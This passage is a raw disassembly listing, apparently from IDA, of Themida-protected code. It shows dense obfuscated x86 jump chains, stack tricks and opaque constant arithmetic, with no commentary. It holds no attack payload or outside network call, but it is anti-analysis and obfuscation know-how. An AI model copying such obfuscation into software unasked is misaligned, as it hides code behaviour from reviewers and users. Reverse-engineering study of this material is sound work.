loc_55909E ; --------------------------------------------------------------------------- loc_55AE3A: ; CODE XREF: Themida_:00556B06j mov [esp], ebp mov ebp, 532B52CCh xor eax, ebp jmp loc_553005 ; --------------------------------------------------------------------------- loc_55AE49: ; CODE XREF: Themida_:00557F3Cj pop ebx jmp loc_55B5D8 ; --------------------------------------------------------------------------- loc_55AE4F: ; CODE XREF: Themida_:0055B80Cj mov ecx, 405A702Fh add ecx, 0BFA58FD5h add edx, ecx pop ecx sub edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_5595B3 ; --------------------------------------------------------------------------- loc_55AE6E: ; CODE XREF: Themida_:00553409j push esp pop esi push ebp mov ebp, 4 add esi, ebp pop ebp sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], eax mov eax, esp push ebx mov ebx, 4 add eax, ebx pop ebx add eax, 2 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] or [esp], al pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55AEB0: ; CODE XREF: Themida_:00559475j push ebx mov bh, 0Eh xor bh, 0D4h shl bh, 4 add bh, 0A3h sub al, bh pop ebx sub al, bl add al, 43h pop bx pop bx push dx mov dl, 48h add bl, 43h add bl, dl sub bl, 43h jmp loc_55685E ; --------------------------------------------------------------------------- loc_55AED8: ; CODE XREF: Themida_:0055731Fj mov eax, [esp] add esp, 4 pop eax push esi jmp loc_55314B ; --------------------------------------------------------------------------- loc_55AEE5: ; CODE XREF: Themida_:00555563j mov [esp], esi push edx mov edx, 3A7D35ADh mov esi, edx pop edx jmp loc_55A673 ; --------------------------------------------------------------------------- loc_55AEF6: ; CODE XREF: Themida_:0055BA14j mov ecx, [esp] jmp loc_55A9C6 ; --------------------------------------------------------------------------- loc_55AEFE: ; CODE XREF: Themida_:00551860j add ebx, esi pop esi mov ebp, [esp] add esp, 4 jmp loc_5577F2 ; --------------------------------------------------------------------------- loc_55AF0F: ; CODE XREF: Themida_:0055A6F8j pop eax push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push esi push esp jmp loc_55975D ; --------------------------------------------------------------------------- loc_55AF21: ; CODE XREF: Themida_:005563F1j pop esi xchg ebx, esi push ebx jmp loc_55CE30 ; --------------------------------------------------------------------------- loc_55AF2A: ; CODE XREF: Themida_:005585ECj sub esp, 4 jmp loc_55B786 ; --------------------------------------------------------------------------- loc_55AF35: ; CODE XREF: Themida_:00552CB6j add esp, 4 push 733Fh jmp loc_55C60B ; --------------------------------------------------------------------------- loc_55AF45: ; CODE XREF: Themida_:00552487j add ebx, 37CD4DA7h push dword ptr [ebx] mov eax, [esp] add esp, 4 pop ebx pop ecx push ecx jmp loc_558640 ; --------------------------------------------------------------------------- loc_55AF5E: ; CODE XREF: Themida_:00553146j add esp, 4 push 1911h mov [esp], edx push ebx mov bl, 0CBh jmp loc_552CD6 ; --------------------------------------------------------------------------- loc_55AF74: ; CODE XREF: Themida_:00557FFAj add edx, 4 push ecx mov ecx, 4 push eax jmp loc_555D08 ; --------------------------------------------------------------------------- loc_55AF86: ; CODE XREF: Themida_:0055631Aj pop ecx pop eax xor al, bh mov bx, [esp] add esp, 2 push 23BFh mov [esp], ebx jmp loc_558F4E ; --------------------------------------------------------------------------- loc_55AF9E: ; CODE XREF: Themida_:00558144j add ecx, ebp pop ebp jmp loc_55C273 ; --------------------------------------------------------------------------- loc_55AFA6: ; CODE XREF: Themida_:0055B547j pop edx push 3D3Ah mov [esp], eax jmp loc_55D12B ; --------------------------------------------------------------------------- loc_55AFB4: ; CODE XREF: Themida_:00555F43j mov [esp], ecx mov ch, 31h push edx jmp loc_559BCC ; --------------------------------------------------------------------------- loc_55AFBF: ; CODE XREF: Themida_:0055400Bj add esp, 4 push ecx mov ecx, esp push ebx push 4BECh jmp loc_55A0B7 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp push esp push dword ptr [esp] pop ebp add esp, 4 push esi mov esi, 4 add ebp, esi pop esi jmp loc_55167E ; --------------------------------------------------------------------------- loc_55AFEB: ; CODE XREF: Themida_:00551EEBj neg eax or eax, 6CBC5623h xor eax, 122E1938h jmp loc_555F1E ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push esi jmp loc_5578B6 ; --------------------------------------------------------------------------- loc_55B006: ; CODE XREF: Themida_:0055C878j push ebx mov bl, 12h push dx mov dh, 0 jmp loc_556FE0 ; --------------------------------------------------------------------------- loc_55B012: ; CODE XREF: Themida_:0055C610j xor ah, 0 jmp loc_553676 ; --------------------------------------------------------------------------- loc_55B01A: ; CODE XREF: Themida_:00557BBFj pop ecx mov cx, [esp] add esp, 2 xor bl, al movzx eax, al mov dx, [esp] jmp loc_556636 ; --------------------------------------------------------------------------- loc_55B033: ; CODE XREF: Themida_:0055C785j pop esp jmp loc_552709 ; --------------------------------------------------------------------------- loc_55B039: ; CODE XREF: Themida_:00551B70j mov edi, [esp] jmp loc_555255 ; --------------------------------------------------------------------------- loc_55B041: ; CODE XREF: Themida_:0055CB2Cj pop bx jmp loc_551368 ; --------------------------------------------------------------------------- loc_55B048: ; CODE XREF: Themida_:0055821Fj add edx, 4 jmp loc_552A06 ; --------------------------------------------------------------------------- loc_55B053: ; CODE XREF: Themida_:0055AA00j mov ebx, esp push eax mov eax, 4 sub ebx, 717A5DFBh add ebx, eax add ebx, 717A5DFBh pop eax push edx jmp loc_557261 ; --------------------------------------------------------------------------- loc_55B070: ; CODE XREF: Themida_:00555EDAj add ecx, ebp sub ecx, 43762E0h add ecx, 1481502h add ecx, 8B036C3h jmp loc_559A3A ; --------------------------------------------------------------------------- loc_55B089: ; CODE XREF: Themida_:00554578j add esi, edx pop edx add esi, edx sub esi, 3BF039Ah mov edx, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] shr ecx, 0Ah sub esp, 4 mov [esp], ebx jmp loc_55B978 ; --------------------------------------------------------------------------- loc_55B0AE: ; CODE XREF: Themida_:00556CF1j mov [esp], eax mov eax, 62C40072h inc eax add eax, 745E242Eh dec eax not eax push esi mov esi, 18A74188h xor esi, 30AFC94Ah add eax, esi jmp loc_55382E ; --------------------------------------------------------------------------- loc_55B0D2: ; CODE XREF: Themida_:0055AB28j add esi, 0BD189792h jmp loc_55B9AA ; --------------------------------------------------------------------------- loc_55B0DD: ; CODE XREF: Themida_:005586FCj mov eax, [esp] add esp, 4 push edi mov edi, 2 sub ebx, 5F33607Ch add ebx, edi add ebx, 5F33607Ch pop edi xchg ebx, [esp] jmp loc_559947 ; --------------------------------------------------------------------------- loc_55B100: ; CODE XREF: Themida_:00554162j mov edx, [esp] jmp loc_5566A4 ; --------------------------------------------------------------------------- loc_55B108: ; CODE XREF: Themida_:00558D3Ej mov bp, 3D41h jmp loc_554C2A ; --------------------------------------------------------------------------- loc_55B111: ; CODE XREF: Themida_:00552967j pop edi and ecx, edx push dword ptr [esp] pop edx jmp loc_55C8B3 ; --------------------------------------------------------------------------- loc_55B11D: ; CODE XREF: Themida_:0055C9DBj not bl xchg bl, dh jmp loc_55D150 ; --------------------------------------------------------------------------- loc_55B126: ; CODE XREF: Themida_:005521EBj sub eax, 3B163A3Eh not eax sub eax, 3EB75FD0h dec eax and eax, 30C363B5h jmp loc_55D2DD ; --------------------------------------------------------------------------- loc_55B13D: ; CODE XREF: Themida_:0055CCE3j add esi, 4 jmp loc_556BA6 ; --------------------------------------------------------------------------- loc_55B148: ; CODE XREF: Themida_:00551D76j push eax mov eax, 4 add edx, eax pop eax add edx, 4 xchg edx, [esp] pop esp shl dword ptr [esp], cl jmp loc_551368 ; --------------------------------------------------------------------------- loc_55B163: ; CODE XREF: Themida_:0055B74Cj push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add ebx, 45C2AB1h add ebx, eax sub ebx, 45C2AB1h jmp loc_559AEC ; --------------------------------------------------------------------------- loc_55B17F: ; CODE XREF: Themida_:00558AD5j sub bh, 0E9h neg bh add bh, 59h mov ah, bh pop ebx and ah, 0C7h not ah inc ah push dx mov dl, ah not dl push ebx jmp loc_5575E7 ; --------------------------------------------------------------------------- loc_55B19D: ; CODE XREF: Themida_:00555679j mov [esp], ebp jmp loc_55857C ; --------------------------------------------------------------------------- loc_55B1A5: ; CODE XREF: Themida_:0055AB38j mov ch, 2Ch dec ch not ch inc ch sub esp, 4 jmp loc_551CDB ; --------------------------------------------------------------------------- loc_55B1B8: ; CODE XREF: Themida_:00556C62j sub esi, 0FFFFFFFFh jmp loc_553049 ; --------------------------------------------------------------------------- loc_55B1C0: ; CODE XREF: Themida_:0055409Cj add esi, 1 add esi, 75071245h add eax, 3FBF01CFh add eax, esi jmp loc_55396D ; --------------------------------------------------------------------------- loc_55B1D8: ; CODE XREF: Themida_:00558B9Bj add esp, 4 add bl, al push ecx push edx mov dl, 0F3h jmp loc_551E0D ; --------------------------------------------------------------------------- loc_55B1E9: ; CODE XREF: Themida_:00553A98j mov [esp], esp jmp loc_555AD8 ; --------------------------------------------------------------------------- loc_55B1F1: ; CODE XREF: Themida_:00559258j pop esi add esp, 4 add esp, 4 mov ebx, 0BF5CDCEDh push ecx mov ecx, 4ACB6F25h add ebx, 5BBB0EECh add ebx, ecx sub ebx, 5BBB0EECh jmp loc_5528C6 ; --------------------------------------------------------------------------- loc_55B21C: ; CODE XREF: Themida_:0055CC78j xor edi, 2FBB02A7h jmp loc_55D2CD ; --------------------------------------------------------------------------- loc_55B227: ; CODE XREF: Themida_:005585A1j pop esp add esp, 4 shl eax, cl jmp loc_559F27 ; --------------------------------------------------------------------------- loc_55B232: ; CODE XREF: Themida_:00556423j mov ebp, [esp] add esp, 4 xor ebp, 17525CACh inc ebp add ebp, 0CF6205C3h push ebp jmp loc_5557D4 ; --------------------------------------------------------------------------- loc_55B24B: ; CODE XREF: Themida_:0055AC99j mov ebp, 0AC3628Eh sub edi, ebp pop ebp push 3C5Ah mov [esp], ecx mov ecx, 7F044EADh sub edi, ecx pop ecx push eax jmp loc_55B919 ; --------------------------------------------------------------------------- loc_55B269: ; CODE XREF: Themida_:0055CAEFj mov [esp], ebx mov ebx, 4E733C9Ch sub eax, ebx pop ebx add eax, esi add eax, 4E733C9Ch pop esi pop esi push edx mov edx, 774776C3h not edx shl edx, 5 jmp loc_55AD4D ; --------------------------------------------------------------------------- loc_55B28D: ; CODE XREF: Themida_:0055B931j mov esp, [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push 32043F84h pop ebp xor eax, ebp pop ebp push ebp jmp loc_55CAD4 ; --------------------------------------------------------------------------- loc_55B2AE: ; CODE XREF: Themida_:0055901Fj mov esi, [esp] jmp loc_5541C7 ; --------------------------------------------------------------------------- loc_55B2B6: ; CODE XREF: Themida_:0055D340j add ecx, 662E405Ah push ebx jmp loc_559089 ; --------------------------------------------------------------------------- loc_55B2C2: ; CODE XREF: Themida_:005595F7j pop esi inc ebx push edi mov edi, 20AC5BA1h add ebx, edi mov edi, [esp] add esp, 4 or ebx, 7B393A68h not ebx xor ebx, 0B713B0CEh sub edx, 2527494Bh sub edx, ebx add edx, 2527494Bh pop ebx pop ebp sub edx, eax sub edx, 15F257EDh jmp loc_551368 ; --------------------------------------------------------------------------- loc_55B300: ; CODE XREF: Themida_:0055AC68j mov edx, [esp] push 5011h jmp loc_55BB7F ; --------------------------------------------------------------------------- loc_55B30D: ; CODE XREF: Themida_:005535DFj add eax, 345248F8h jmp loc_5554B9 ; --------------------------------------------------------------------------- loc_55B317: ; CODE XREF: Themida_:0055C118j mov ebp, 122E272Ah sub ebp, 4E15222Eh and ebp, 68786AE3h or ebp, 15520D2Bh not ebp sub ebp, 69BAECCFh jmp loc_5571BF ; --------------------------------------------------------------------------- loc_55B33B: ; CODE XREF: Themida_:0055BE97j mov [esp], edx push eax pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55B345: ; CODE XREF: Themida_:005536A6j add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_55B5EC ; --------------------------------------------------------------------------- loc_55B35A: ; CODE XREF: Themida_:00555280j and eax, ebx push dword ptr [esp] jmp loc_55657B ; --------------------------------------------------------------------------- loc_55B364: ; CODE XREF: Themida_:00551561j add edi, 2 push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 jmp loc_5529ED ; --------------------------------------------------------------------------- loc_55B37A: ; CODE XREF: Themida_:0055A25Fj mov ebx, 7A7E7938h and ebx, 3AAE6709h sub ebx, 64926507h shl ebx, 4 shr ebx, 8 sub ebx, 0A44D548Ch mov edi, ebx pop ebx add [esp+4], edi mov edi, [esp] push edi push esp pop edi push ebx mov ebx, 4C3F315Fh jmp loc_55C8FD ; --------------------------------------------------------------------------- loc_55B3AF: ; CODE XREF: Themida_:0055A536j sub esi, 5D39F435h jmp loc_5570F6 ; --------------------------------------------------------------------------- loc_55B3BA: ; CODE XREF: Themida_:00558D03j push eax mov ah, 4 xor bl, ah pop eax jmp loc_55808E ; --------------------------------------------------------------------------- loc_55B3C5: ; CODE XREF: Themida_:00557E03j add ecx, edi pop edi xchg ecx, [esp] pop esp push 36FBh jmp loc_555982 ; --------------------------------------------------------------------------- loc_55B3D6: ; CODE XREF: Themida_:005557E1j xor eax, 3FA067B3h jmp loc_5528A3 ; --------------------------------------------------------------------------- loc_55B3E0: ; CODE XREF: Themida_:0055343Ej jmp loc_551368 ; --------------------------------------------------------------------------- loc_55B3E5: ; CODE XREF: Themida_:00559EB2j pop eax add eax, edx pop edx jmp loc_55CC21 ; --------------------------------------------------------------------------- loc_55B3EE: ; CODE XREF: Themida_:00552DB4j xor edx, 687C306Ah jmp loc_551F13 ; --------------------------------------------------------------------------- loc_55B3F9: ; CODE XREF: Themida_:0055D3DDj push edi mov edi, 394648DBh or eax, edi pop edi not eax push edx mov edx, 6BA00271h and eax, edx pop edx push ebx mov ebx, 41D66301h xor eax, ebx jmp loc_55AA0B ; --------------------------------------------------------------------------- loc_55B41A: ; CODE XREF: Themida_:0055A7D2j add edi, 3892324h add ebp, edi pop edi jmp loc_557CFF ; --------------------------------------------------------------------------- loc_55B428: ; CODE XREF: Themida_:00554798j push 7A6Dh mov [esp], ecx jmp loc_55203F ; --------------------------------------------------------------------------- loc_55B435: ; CODE XREF: Themida_:00558DD7j xor bh, 15h add cl, bh pop ebx shr cl, 2 xor cl, 0BEh add al, cl jmp loc_553142 ; --------------------------------------------------------------------------- loc_55B448: ; CODE XREF: Themida_:0055187Aj mov [esp], eax mov ah, 9Fh jmp loc_55C845 ; --------------------------------------------------------------------------- loc_55B452: ; CODE XREF: Themida_:0055C56Fj pop ebp and [edi+1Ch], eax push dword ptr [esp] jmp loc_55D4C3 ; --------------------------------------------------------------------------- loc_55B45E: ; CODE XREF: Themida_:0055BA79j pop ebx push edx mov edx, 2 add eax, edx pop edx jmp loc_55C1BF ; --------------------------------------------------------------------------- loc_55B46D: ; CODE XREF: Themida_:0055C405j not eax jmp loc_55ACE3 ; --------------------------------------------------------------------------- loc_55B474: ; CODE XREF: Themida_:00552F21j add edi, 20A57BC5h jmp loc_554E2F ; --------------------------------------------------------------------------- loc_55B47F: ; CODE XREF: Themida_:005531C6j add eax, 4 push eax push dword ptr [esp+4] jmp loc_558603 ; --------------------------------------------------------------------------- loc_55B48C: ; CODE XREF: Themida_:00556348j mov [esp], edi mov edi, esp push edx jmp loc_557CCB ; --------------------------------------------------------------------------- loc_55B497: ; CODE XREF: Themida_:00558C42j imul ecx, eax push ecx pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_55B4A1: ; CODE XREF: Themida_:00554226j mov [esp], edx mov dh, 0E3h mov bh, dh pop edx push dx mov dh, 0B5h xor bh, dh pop dx sub esp, 2 mov [esp], dx push ebx mov bl, 0AFh sub bl, 4Eh jmp loc_555095 ; --------------------------------------------------------------------------- loc_55B4C3: ; CODE XREF: Themida_:00551833j sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 push ecx mov ecx, 3D50432Eh dec ecx jmp loc_551A61 ; --------------------------------------------------------------------------- loc_55B4DD: ; CODE XREF: Themida_:00553968j push dword ptr [esp] pop ebx jmp loc_55323F ; --------------------------------------------------------------------------- loc_55B4E6: ; CODE XREF: Themida_:0055D0CAj pop dword ptr [esp] add dword ptr [esp], 4 pop eax add eax, 4 jmp loc_554C91 ; --------------------------------------------------------------------------- loc_55B4FB: ; CODE XREF: Themida_:0055ACDEj mov ch, 5Fh inc ch add ch, 0F5h mov dl, ch pop ecx shl dl, 7 not dl xor dl, 0EDh not dl dec dl add dl, 89h jmp loc_55BD9F ; --------------------------------------------------------------------------- loc_55B519: ; CODE XREF: Themida_:0055B535j mov edx, [esp] jmp loc_558DE7 ; --------------------------------------------------------------------------- loc_55B521: ; CODE XREF: Themida_:005568E6j push esp pop eax push edx mov edx, 4 add eax, 5894153Ah add eax, edx sub eax, 5894153Ah jmp loc_55B519 ; --------------------------------------------------------------------------- loc_55B53A: ; CODE XREF: Themida_:0055A890j mov [esp], ebp jmp loc_55C3EC ; --------------------------------------------------------------------------- loc_55B542: ; CODE XREF: Themida_:00558E6Aj mov edx, esi pop esi add ecx, edx jmp loc_55AFA6 ; --------------------------------------------------------------------------- loc_55B54C: ; CODE XREF: Themida_:00557C96j add ebp, offset word_530516 push eax mov eax, 5E9574B1h inc eax jmp loc_557C9B ; --------------------------------------------------------------------------- loc_55B55E: ; CODE XREF: Themida_:00557B23j sub dword ptr [esp], 4D4039A5h pop edx add edx, 4D4039A5h pop eax add edx, ebp pop ebp xor [esp+4], edx jmp loc_559745 ; --------------------------------------------------------------------------- loc_55B579: ; CODE XREF: Themida_:0055BB57j shr al, 5 not al jmp loc_556C8D ; --------------------------------------------------------------------------- loc_55B583: ; CODE XREF: Themida_:00558461j add bh, 0F6h sub bh, ah sub bh, 0F6h sub bh, 2Fh add bh, 0Fh pop eax xor al, bh mov ebx, [esp] add esp, 4 jmp loc_552235 ; --------------------------------------------------------------------------- loc_55B59F: ; CODE XREF: Themida_:005598DAj push ebx jmp loc_553EF6 ; --------------------------------------------------------------------------- loc_55B5A5: ; CODE XREF: Themida_:0055CADEj push edx push esp jmp loc_55C6DC ; --------------------------------------------------------------------------- loc_55B5AC: ; CODE XREF: Themida_:0055C491j push edi mov edi, 4661DCDh push 683438Eh pop ebx sub ebx, edi pop edi sub esp, 4 mov [esp], esi jmp loc_5563D6 ; --------------------------------------------------------------------------- loc_55B5C6: ; CODE XREF: Themida_:00555A08j xchg eax, [esp] jmp loc_551612 ; --------------------------------------------------------------------------- loc_55B5CE: ; CODE XREF: Themida_:00557937j mov dh, 24h and dh, 0DAh jmp loc_5554D8 ; --------------------------------------------------------------------------- loc_55B5D8: ; CODE XREF: Themida_:0055AE4Aj xor edi, [esp] jmp loc_5553C3 ; --------------------------------------------------------------------------- loc_55B5E0: ; CODE XREF: Themida_:00551D13j add esp, 4 loc_55B5E3: ; CODE XREF: Themida_:00551CB7j ; Themida_:0055B64Bj push dword ptr [esp] pop ebx jmp loc_555AF7 ; --------------------------------------------------------------------------- loc_55B5EC: ; CODE XREF: Themida_:0055B355j xor eax, [esp] pop esp xchg edx, ebp not edx xor ebp, edx xor edx, ebp xor ebp, edx shl ebp, 7 push ebp not dword ptr [esp] pop ebp inc ebp sub ebp, 0A5BE8600h jmp loc_55CD69 ; --------------------------------------------------------------------------- loc_55B60E: ; CODE XREF: Themida_:0055BE62j add ecx, 25014638h jmp loc_55BEBF ; --------------------------------------------------------------------------- loc_55B619: ; CODE XREF: Themida_:00555E02j xchg ecx, [esp] pop esp mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_55244B ; --------------------------------------------------------------------------- loc_55B636: ; CODE XREF: Themida_:005576ACj add ebx, 55E3366Dh xor dword ptr [ebx], 429B78D1h mov ebx, [esp] add esp, 4 jmp loc_55B5E3 ; --------------------------------------------------------------------------- loc_55B650: ; CODE XREF: Themida_:0055A6E1j sub esi, 0FBA1757h add esi, 0BB4AEB4Ch sub ebx, 37A85A6Ch jmp loc_558737 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 push ebx mov ebx, 2BFF4B20h inc ebx xor ebx, 65D20719h and ebx, 3970518Bh or ebx, 8A41F31h jmp loc_554D00 ; --------------------------------------------------------------------------- loc_55B699: ; CODE XREF: Themida_:00553F5Dj add esp, 4 push eax mov eax, 0BD721A1h shr eax, 1 add eax, 9C40032h shl eax, 8 sub eax, 27713926h and eax, 73EC44ACh add eax, 0FFF3BF7Ch add ebx, eax pop eax push 4F66h mov [esp], edx push eax mov eax, 648F3796h mov edx, 9B70C86Ch jmp loc_5548AE ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_5523E6 ; --------------------------------------------------------------------------- loc_55B6E1: ; CODE XREF: Themida_:0055D393j and edx, 60A03D40h shl edx, 6 inc edx xor edx, 481E511Dh mov dword ptr [edi+24h], 9956EEF2h jmp loc_558EB4 ; --------------------------------------------------------------------------- loc_55B6FD: ; CODE XREF: Themida_:00553385j xchg ecx, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 push ebx push eax mov eax, 66D900A2h dec eax jmp loc_5574BE ; --------------------------------------------------------------------------- loc_55B718: ; CODE XREF: Themida_:00554292j mov cl, dl jmp loc_55C454 ; --------------------------------------------------------------------------- loc_55B71F: ; CODE XREF: Themida_:0055D0C4j mov esp, [esp] jmp loc_55A6C4 ; --------------------------------------------------------------------------- loc_55B727: ; CODE XREF: Themida_:00556BE1j push ebx mov ebx, 0F4F695Fh mov eax, ebx pop ebx sub ebx, eax mov eax, [esp] push 6C78h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp jmp loc_55B163 ; --------------------------------------------------------------------------- loc_55B751: ; CODE XREF: Themida_:00552367j shl ecx, 1 or ecx, 4D5D6227h jmp loc_556D55 ; --------------------------------------------------------------------------- loc_55B75E: ; CODE XREF: Themida_:00554909j mov cl, 20h xor cl, 60h or cl, 0F2h dec cl dec cl shl cl, 1 sub cl, 8Ch sub bh, cl pop ecx add al, bh mov ebx, [esp] jmp loc_5539BD ; --------------------------------------------------------------------------- loc_55B77C: ; CODE XREF: Themida_:005593D4j push 3A97h jmp loc_555E99 ; --------------------------------------------------------------------------- loc_55B786: ; CODE XREF: Themida_:0055AF30j mov [esp], ecx mov ecx, 2A927D0Eh or ecx, 223E7F43h jmp loc_5536BB ; --------------------------------------------------------------------------- loc_55B799: ; CODE XREF: Themida_:00556A1Ej add esp, 4 push 5391h mov [esp], edx push eax mov ah, 8Eh push ebx push edx mov dh, ah push eax jmp loc_55D0A8 ; --------------------------------------------------------------------------- loc_55B7B4: ; CODE XREF: Themida_:00556667j mov edx, 71586D71h mov ebp, 98E89636h sub ebp, edx pop edx push ebx mov ebx, 4005634Fh jmp loc_55634D ; --------------------------------------------------------------------------- loc_55B7CC: ; CODE XREF: Themida_:00559BC7j xor ecx, [esp] jmp loc_55BA19 ; --------------------------------------------------------------------------- loc_55B7D4: ; CODE XREF: Themida_:00556201j pop ebx jmp loc_55992A ; --------------------------------------------------------------------------- loc_55B7DA: ; CODE XREF: Themida_:0055D0A3j pop di push 2C75h mov [esp], ebp mov bp, 6CA8h inc bp push esi mov si, 3C7Fh inc si sub si, 0B05h jmp loc_55674E ; --------------------------------------------------------------------------- loc_55B7FB: ; CODE XREF: Themida_:0055242Aj mov [esp], ebx push 2318h jmp loc_554C41 ; --------------------------------------------------------------------------- loc_55B808: ; CODE XREF: Themida_:0055CA97j push edx mov edx, esp push ecx jmp loc_55AE4F ; --------------------------------------------------------------------------- loc_55B811: ; CODE XREF: Themida_:0055866Aj sub esi, ebp pop ebp sub esi, 48A55E6Ch sub esi, 35203C6Ah jmp loc_552675 ; --------------------------------------------------------------------------- loc_55B825: ; CODE XREF: Themida_:005526BEj push 5DE0705Fh pop edi jmp loc_553A3F ; --------------------------------------------------------------------------- loc_55B830: ; CODE XREF: Themida_:005562F5j mov ebp, 67AF67FDh inc ebp inc ebp sub ebp, 4F9E40B5h jmp loc_559586 ; --------------------------------------------------------------------------- loc_55B842: ; CODE XREF: Themida_:0055CF1Ej push esp pop esi add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_551D9B ; --------------------------------------------------------------------------- loc_55B85B: ; CODE XREF: Themida_:00555A76j pop ecx jmp loc_55BC44 ; --------------------------------------------------------------------------- loc_55B861: ; CODE XREF: Themida_:0055538Cj push 0C6Eh mov [esp], ebx push 2416h jmp loc_5592D6 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_551368 ; --------------------------------------------------------------------------- loc_55B87B: ; CODE XREF: Themida_:00554C42j pop dword ptr [esp] add dword ptr [esp], 4 pop ebx jmp loc_559182 ; --------------------------------------------------------------------------- loc_55B88B: ; CODE XREF: Themida_:005521E1j add ebx, edx pop edx xchg ebx, [esp] jmp loc_556206 ; --------------------------------------------------------------------------- loc_55B896: ; CODE XREF: Themida_:00559F2Dj mov [esp], ecx jmp loc_55AD75 ; --------------------------------------------------------------------------- loc_55B89E: ; CODE XREF: Themida_:00556C80j jmp loc_551368 ; --------------------------------------------------------------------------- loc_55B8A3: ; CODE XREF: Themida_:005519C1j push 115Ch jmp loc_559E33 ; --------------------------------------------------------------------------- loc_55B8AD: ; CODE XREF: Themida_:00556BD8j pop ebx xor eax, 1D19FEFAh sub ebx, 6829575Fh add ebx, eax add ebx, 6829575Fh jmp loc_55BB5C ; --------------------------------------------------------------------------- loc_55B8C6: ; CODE XREF: Themida_:00553221j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ecx push eax jmp loc_55C296 ; --------------------------------------------------------------------------- loc_55B8DA: ; CODE XREF: Themida_:00556723j mov ecx, [esp] add esp, 4 push dx push ebx mov bh, 26h push ecx mov ch, 0C5h mov dl, ch mov ecx, [esp] jmp loc_556717 ; --------------------------------------------------------------------------- loc_55B8F2: ; CODE XREF: Themida_:00556D50j mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp shl ebp, 5 push 6100h mov [esp], eax mov eax, 868A16C0h sub ebp, eax pop eax and eax, ebp jmp loc_55C130 ; --------------------------------------------------------------------------- loc_55B919: ; CODE XREF: Themida_:0055B264j mov eax, 3B286008h sub edi, eax pop eax jmp loc_551894 ; --------------------------------------------------------------------------- loc_55B926: ; CODE XREF: Themida_:005559E2j mov [esp], esi jmp loc_55823B ; --------------------------------------------------------------------------- loc_55B92E: ; CODE XREF: Themida_:0055BAB4j xchg edi, [esp] jmp loc_55B28D ; --------------------------------------------------------------------------- loc_55B936: ; CODE XREF: Themida_:00559A41j add ebx, 4 push eax jmp loc_5557E6 ; --------------------------------------------------------------------------- loc_55B942: ; CODE XREF: Themida_:00556D78j sub bl, 45h pop ecx xor bl, 0F4h push 1B91h mov [esp], edx push eax mov al, 2 jmp loc_55CBF4 ; --------------------------------------------------------------------------- loc_55B959: ; CODE XREF: Themida_:0055A79Bj pop esi inc edi xor edi, 75287899h push edi not dword ptr [esp] pop edi sub edi, 0D044DA4Bh mov ebp, edi pop edi shl ebp, 2 push ebp jmp loc_55D11A ; --------------------------------------------------------------------------- loc_55B978: ; CODE XREF: Themida_:0055B0A9j xor dword ptr [esp], 596D1CABh mov eax, [esp] push 3CE5h mov [esp], edi jmp loc_554186 ; --------------------------------------------------------------------------- xor [esp], bl jmp loc_55AA85 ; --------------------------------------------------------------------------- loc_55B997: ; CODE XREF: Themida_:0055D3AEj xor [esp], eax xor eax, [esp] pop esp push dword ptr [esp] pop eax sub esp, 4 jmp loc_555B2B ; --------------------------------------------------------------------------- loc_55B9AA: ; CODE XREF: Themida_:0055B0D8j xor eax, esi pop esi jmp loc_55D4F1 ; --------------------------------------------------------------------------- loc_55B9B2: ; CODE XREF: Themida_:00552C2Ej add bl, 1Bh add bl, 0F2h sub bl, al push cx mov cl, 0F2h sub bl, cl jmp loc_5558E7 ; --------------------------------------------------------------------------- loc_55B9C5: ; CODE XREF: Themida_:005542DEj pop eax push ecx mov cl, 44h jmp loc_559E98 ; --------------------------------------------------------------------------- loc_55B9CE: ; CODE XREF: Themida_:0055A70Ej pop eax push 3AAAh mov [esp], edx jmp loc_5522D0 ; --------------------------------------------------------------------------- loc_55B9DC: ; CODE XREF: Themida_:00558620j add esp, 4 jmp loc_559833 ; --------------------------------------------------------------------------- mov ax, [esp] push edx push 659Ah mov [esp], esp add dword ptr [esp], 4 pop edx push eax jmp loc_551512 ; --------------------------------------------------------------------------- loc_55B9FF: ; CODE XREF: Themida_:005572CAj mov [esp], edx jmp loc_55311B ; --------------------------------------------------------------------------- loc_55BA07: ; CODE XREF: Themida_:0055C831j sub al, 0FDh sub al, cl push ebx jmp loc_55A80C ; --------------------------------------------------------------------------- loc_55BA11: ; CODE XREF: Themida_:005535C3j push dword ptr [esp] jmp loc_55AEF6 ; --------------------------------------------------------------------------- loc_55BA19: ; CODE XREF: Themida_:0055B7CFj mov esp, [esp] push 236Ch mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push eax sub esp, 4 mov [esp], edi mov edi, 4 sub esp, 4 mov [esp], edi pop eax jmp loc_556945 ; --------------------------------------------------------------------------- loc_55BA46: ; CODE XREF: Themida_:00552059j mov eax, esp sub esp, 4 mov [esp], ebp mov ebp, 4 add eax, ebp pop ebp push ebp push edi jmp loc_556797 ; --------------------------------------------------------------------------- loc_55BA60: ; CODE XREF: Themida_:00555500j push eax mov al, 67h shr al, 5 shr al, 8 add al, 0C4h add bl, al jmp loc_552CAD ; --------------------------------------------------------------------------- loc_55BA72: ; CODE XREF: Themida_:0055CFAFj add eax, ebx sub eax, 2FC54FE5h jmp loc_55B45E ; --------------------------------------------------------------------------- loc_55BA7E: ; 